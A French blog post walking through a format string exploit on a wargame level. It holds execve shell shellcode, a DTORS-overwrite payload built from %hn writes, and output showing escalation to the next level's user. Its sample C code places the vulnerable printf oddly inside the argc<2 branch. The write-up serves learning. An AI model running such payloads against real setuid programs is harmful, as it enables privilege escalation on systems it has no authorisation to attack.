Archives du blog

mardi 4 janvier 2011

Redirection du flux d'éxécution d'un programme via Format String

Décidément, je l'adore cette faille ^^ .
Vu que j'ai fait un article dessus concernant la "lecture" de la pile,
autant faire aussi le deuxième côté concernant l'exécution arbitraire d'un code malveillant, hein ?
Parce-que les failles et les challenges c'est le bien. Et linux ben...Ça dépend. :)

Je ne sais pas encore vraiment bien utiliser les formateurs présents dans printf, mais je peux présenter un exemple classique (encore) de la faille.

#include <string.h>
    #include <stdio.h>

    int main(int argc, char* argv[])
    {
      if (argc < 2)
      {
        printf("plop ! Ça va ?\n");
        printf(argv[1]);
        exit(1);
      }
    }

Comme toujours, printf mal utilisée. La variable peut donc servir de formateur pour afficher ou modifier la pile.

Le but, ici étant d'écrire un assez grand nombre d'octet dans la pile pour pouvoir aller vers notre shellcode l'exploitation se déroule à peut près comme un BoF.
Ou encore on peut se servir soit de la GOT +2 ou de l'adresse de DTOR +2 pour pouvoir sauter sur un shellcode placé dans l'environnement.

L'explication sera une mise en pratique sur un challenge existant sur la box behemoth d'intruded.net.
Je pense que ça sera plus clair :)
Voici nos droits :

$ whoami
level4
 
Voici le binaire :

$ /wargame/level4 
Identify yourself: moi
Welcome, moi

Voici la faille :

$ /wargame/level4 
Identify yourself: %08x
Welcome, 000000c8

Notre formateur est donc interprété par printf. Maintenant, il faut aussi connaître notre position dans la pile :

$ (python -c 'print "AAAABBBB" . ".%08x"x15') | /wargame/level4
Identify yourself: Welcome, 
AAAABBBB.000000c8.b7fe0300.b7eb634c.b7ebea1c.b7ec3b6e.00000000.00000000.41414141.42424242.3830252e.30252e78.
252e7838.2e783830.78383025.3830252e

On voit bien nos "A" et nos "B" à partir de la 8eme place (41 et 42)

$ gdb -q /wargame/level4
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) x/x &__DTOR_END__
0x8049598 <__DTOR_END__>: 0x00000000

Là, je récupère l'adresse de la section DTOR (0x8049598).
Les programmes compilés avec le compilateur GNU C ont une section spéciale pour les destructeurs qui s'appelle DTOR qui sont appelés juste avant l'exit dès que le nettoyage est terminé.
Seulement, à l'offset DTOR +4 Se trouve l'adresse des fonctions de destructions qui se terminent par une adresse NULL, il suffit alors de réécrire sur ce pointeur vide pour remplacer ce néant par l'adresse de notre shellcode. A l'exit du programme les fonctions de DTOR seront donc appelées; et avec elles, notre shellcode.

Je vais utiliser un shellcode que j'utilise régulièrement pour ce genre d'épreuve :
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80

Il nous faut créer un EGG qui contiens notre shellcode :
$ env -i EGG=`python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53
\x89\xe1\xcd\x80'"`

L'adresse de cette variable dans cet environnement est en 0xbfffffdb et c'est sur cette adresse qu'il faudra exécuter le code malveillant.
Seulement voila, voici le moment où il nous faut écraser l'adresse de DTOR  :
0xbfff = 49151
0xffdb = 65499
65499 - 8(car on a déjà 8 bytes pour DTOR) = 65491
49151 (0xbfff) + 65536 (valeur max) = 0x1bfff
0x1bfff(total) - 0xffdb(déjà écrit) = 49188
Vu que %n écrit les caractères le précédent dans la pile et comme 0xbffffdb est un nombre trop grand pour
être généré en une seule fois, on sépare l'adresse en deux fois 2 octets.

maintenant qu'on a DTOR + [DTOR]+2 + 65491 bytes à écrire + emplacement dans le pile 1 + 49188 bytes à écrire + emplacement dans la pile 2 + la variable d'env  on peut se lancer dans l'exploitation :

(python -c "print '\x98\x95\x04\x08\x9a\x95\x04\x08'+'%.65491u'+'%8\x24hn'+'%.49188u'+'%9\x24hn'";cat)
| env -i EGG=`python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'"` ./level4
0000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000
.....
0000000000000000000000000000000000000000000000000000000000003086877440
id
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4)
whoami
level5 
Voila donc comment on s'élève en privilèges grâce à un simple printf mal utilisée.
Maintenant on peut aussi utiliser la GOT (Global Offset Table). La technique d'exploitation reste à peu près la même, si ce n'est qu'il nous faut l'adresse d'une fonction utilisée par cette section. Personnellement je l'utilise quand DTOR est en read-only.

Après il y'a d'autres techniques mais je voulais centrer mon article sur une des méthodes que j'affectionne :) .


1 commentaire: